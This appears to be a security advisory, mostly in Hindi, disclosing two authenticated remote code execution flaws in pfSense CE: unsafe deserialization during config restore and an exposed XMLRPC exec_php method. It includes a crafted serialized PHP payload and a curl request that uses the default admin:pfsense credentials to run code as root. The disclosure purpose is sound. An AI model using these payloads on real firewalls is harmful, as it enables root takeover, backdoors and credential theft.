🔐 CVE-2025-69690 & CVE-2025-69691

Netgate pfSense Community Edition में प्रमाणित रिमोट कोड निष्पादन

📋 सारांश

⚠️ अस्वीकरण

यह शोध केवल शैक्षिक और सुरक्षा जागरूकता उद्देश्यों के लिए पृथक प्रयोगशाला वातावरण में किया गया था और सुरक्षा जागरूकता उद्देश्यों के लिए ही। सभी निष्कर्ष प्रकाशन से पूर्व विक्रेता को जिम्मेदारीपूर्वक सूचित किए गए थे। यह सलाह उत्पादन प्रणालियों पर हमला करने का निमंत्रण नहीं है। अनधिकृत परीक्षण अवैध है।

🎯 CVE-2025-69690

असुरक्षित डिसीरियलाइज़ेशन → RCE (pfSense CE 2.7.2)

विवरण

pfSense कॉन्फ़िगरेशन पुनर्स्थापना तंत्र उपयोगकर्ता-नियंत्रित डेटा पर unserialize() को बिना क्लास व्हाइटलिस्टिंग, इनपुट सत्यापन, या सैंडबॉक्सिंग के आमंत्रित करता है।

एक दुर्भावनापूर्ण सीरियलाइज़्ड PHP ऑब्जेक्ट युक्त गढ़ा गया बैकअप फ़ाइल post_reboot_commands प्रॉपर्टी के माध्यम से मनमाने कमांड इंजेक्ट करता है, जिन्हें mwexec() के माध्यम से पूर्ण रूट विशेषाधिकारों के साथ निष्पादित किया जाता है।

हमले का प्रवाह

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

प्रभावित घटक

• config.php — पुनर्स्थापना प्रसंस्करण तर्क
• pfsense_module_installer वर्ग — असुरक्षित डिसीरियलाइज़ेशन लक्ष्य
• mwexec() — कमांड निष्पादन सिंक

PoC पेलोड

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

प्रभाव

• ✅ रूट के रूप में मनमाना OS कमांड निष्पादन
• ✅ स्थायी बैकडोर स्थापना
• ✅ फ़ायरवॉल पर पूर्ण नियंत्रण
• ✅ क्रेडेंशियल और कॉन्फ़िगरेशन की निकासी

विक्रेता की प्रतिक्रिया

"स्वीकृत। प्रमाणित प्रशासनिक दुरुपयोग के रूप में वर्गीकृत। कोई पैच जारी नहीं किया जाएगा।" — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

विवरण

pfSense CE 2.8.0 एक XMLRPC विधि pfsense.exec_php उजागर करता है जो बिना सत्यापन, सैंडबॉक्सिंग, या किसी भी प्रकार के प्रतिबंध के रूट के रूप में मनमाना PHP कोड निष्पादित करता है।

एंडपॉइंट है:

• ✅ डिफ़ॉल्ट रूप से सक्षम
• ✅ HTTPS पर रिमोट से सुलभ
• ✅ केवल बेसिक प्रमाणीकरण द्वारा संरक्षित
• ✅ डिफ़ॉल्ट क्रेडेंशियल (admin:pfsense) के साथ शोषण योग्य

हमले का प्रवाह

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

प्रभावित घटक

• xmlrpc.php — API प्रवेश बिंदु
• pfsense.exec_php — असुरक्षित गतिशील कोड निष्पादन
• BasicAuth परत — अपर्याप्त पहुँच नियंत्रण

PoC

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

प्रभाव

• ✅ पूर्ण रिमोट रूट समझौता
• ✅ मनमाना फ़ाइल पढ़ना/लिखना
• ✅ बैकडोर तैनाती
• ✅ फ़ायरवॉल नियमों में हेरफेर
• ✅ सभी क्रेडेंशियल और कॉन्फ़िगरेशन की निकासी

विक्रेता की प्रतिक्रिया

"स्वीकृत। प्रमाणित उपयोगकर्ताओं के लिए अपेक्षित व्यवहार के रूप में वर्गीकृत। कोई पैच की योजना नहीं है।" — Netgate

📅 समयरेखा

November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 संदर्भ

• 🔴 CVE-2025-69690 cve.org पर
• 🔴 CVE-2025-69691 cve.org पर
• 📧 पूर्ण प्रकटीकरण: [email protected]

👤 शोधकर्ता

Nelson Adhepeau — स्वतंत्र सुरक्षा शोधकर्ता

📧 [email protected]